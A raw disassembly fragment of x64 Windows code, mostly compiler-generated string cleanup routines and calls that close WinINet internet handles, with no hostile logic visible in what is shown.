mov qword [rsp + 0x1b0], 0xf
mov byte [rsp + 0x198], 0
mov rdx, qword [rsp + 0x190]
cmp rdx, 0xf
jbe 0x14000d346
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d341
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc1a
call fcn.140012570
mov qword [rsp + 0x188], rdi
mov qword [rsp + 0x190], 0xf
mov byte [rsp + 0x178], 0
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 0xf
jbe 0x14000d76b
inc rdx
mov rcx, qword [rsp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d3a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc20
call fcn.140012570
jmp 0x14000d76b
mov rax, qword [rsp + 0x78]
inc r15
cmp byte [rax + r15], 0
jne 0x14000d3b3
mov r8, r15
xor edx, edx
mov rcx, rax
call fcn.14002a9f0
lea rax, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0xf
cmova rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1c8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x178]
cmp qword [rsp + 0x190], 0xf
cmova rax, qword [rsp + 0x178]
mov qword [rsp + 0x188], rdi
mov byte [rax], 0
lea rax, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rax, qword [rsp + 0x198]
mov qword [rsp + 0x1a8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rax, qword [rsp + 0x118]
mov qword [rsp + 0x128], rdi
mov byte [rax], 0
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x14000d4c4
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc0e
call fcn.140012570
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x14000d523
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d51e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc14
call fcn.140012570
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x1b0], 0xf
mov byte [rsp + 0x198], 0
mov rdx, qword [rsp + 0x190]
cmp rdx, 0xf
jbe 0x14000d582
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d57d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc1a
call fcn.140012570
mov qword [rsp + 0x188], rdi
mov qword [rsp + 0x190], 0xf
mov byte [rsp + 0x178], 0
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 0xf
jbe 0x14000d5e1
inc rdx
mov rcx, qword [rsp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc20
call fcn.140012570
mov qword [rsp + 0x1c8], rdi
mov qword [rsp + 0x1d0], 0xf
mov byte [rsp + 0x1b8], 0
mov rdx, qword [rsp + 0x150]
cmp rdx, 0xf
jbe 0x14000d640
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d63b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc26
call fcn.140012570
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], 0xf
mov byte [rsp + 0x138], 0
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14000d69f
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d69a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc2c
call fcn.140012570
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x170]
cmp rdx, 0xf
jbe 0x14000d6fe
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d6f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc32
call fcn.140012570
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], 0xf
mov byte [rsp + 0x158], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000d754
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x14000d74f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000dc38
mov rcx, r8
call fcn.140012570
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rax, r13
jmp 0x14000bf51
mov r14, qword [rsp + 0x90]
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0xf
cmova rax, qword [rsp + 0x138]
mov qword [rsp + 0x148], rdi
mov byte [rax], 0
nop dword [rax + rax]
inc r15
cmp byte [r14 + r15], 0
jne 0x14000d7a0
mov r8, r15
xor edx, edx
mov rcx, r14
call fcn.14002a9f0
nop
mov rcx, r12
call fcn.14001baf8
lea rax, [rsp + 0x158]
cmp qword [rsp + 0x170], 0xf
mov qword [rsp + 0x168], rdi
cmova rax, qword [rsp + 0x158]
mov byte [rax], 0
lea rax, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
mov qword [rsp + 0x108], rdi
cmova rax, qword [rsp + 0xf8]
mov byte [rax], 0
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 0xf
jbe 0x14000d870
inc rdx
mov rcx, qword [rsp + 0x138]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000d86b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc56
call fcn.140012570
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], 0xf
mov byte [rsp + 0x138], 0
jmp 0x14000c1df
mov r12, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc8]
call fcn.14001baf8
mov rcx, qword [rsp + 0xd0]
call fcn.14001baf8
mov rcx, qword [rsp + 0x70]
call fcn.14001baf8
mov rcx, rbx
call fcn.14001baf8
mov rcx, r12
call fcn.14001baf8
mov rcx, qword [rsp + 0xd8]
call fcn.14001baf8
mov rcx, r14
call fcn.14001baf8
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 0xf
jbe 0x14000daf4
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000daef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc56
call fcn.140012570
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], 0xf
mov byte [rsp + 0x138], 0
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14000db53
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc5c
call fcn.140012570
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x170]
cmp rdx, 0xf
jbe 0x14000c281
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c27c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000dc62
jmp 0x14000c27c
call fcn.140019138
nop
call fcn.140019138
int3
call fcn.140001240
call fcn.1400011a0
call fcn.140019138
int3
call fcn.140001240
call fcn.1400011a0
call fcn.140019138
int3
call fcn.140019138
int3
call fcn.140019138
int3
call fcn.140019138
int3
call fcn.140019138
int3
call fcn.140001240
call fcn.1400011a0
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3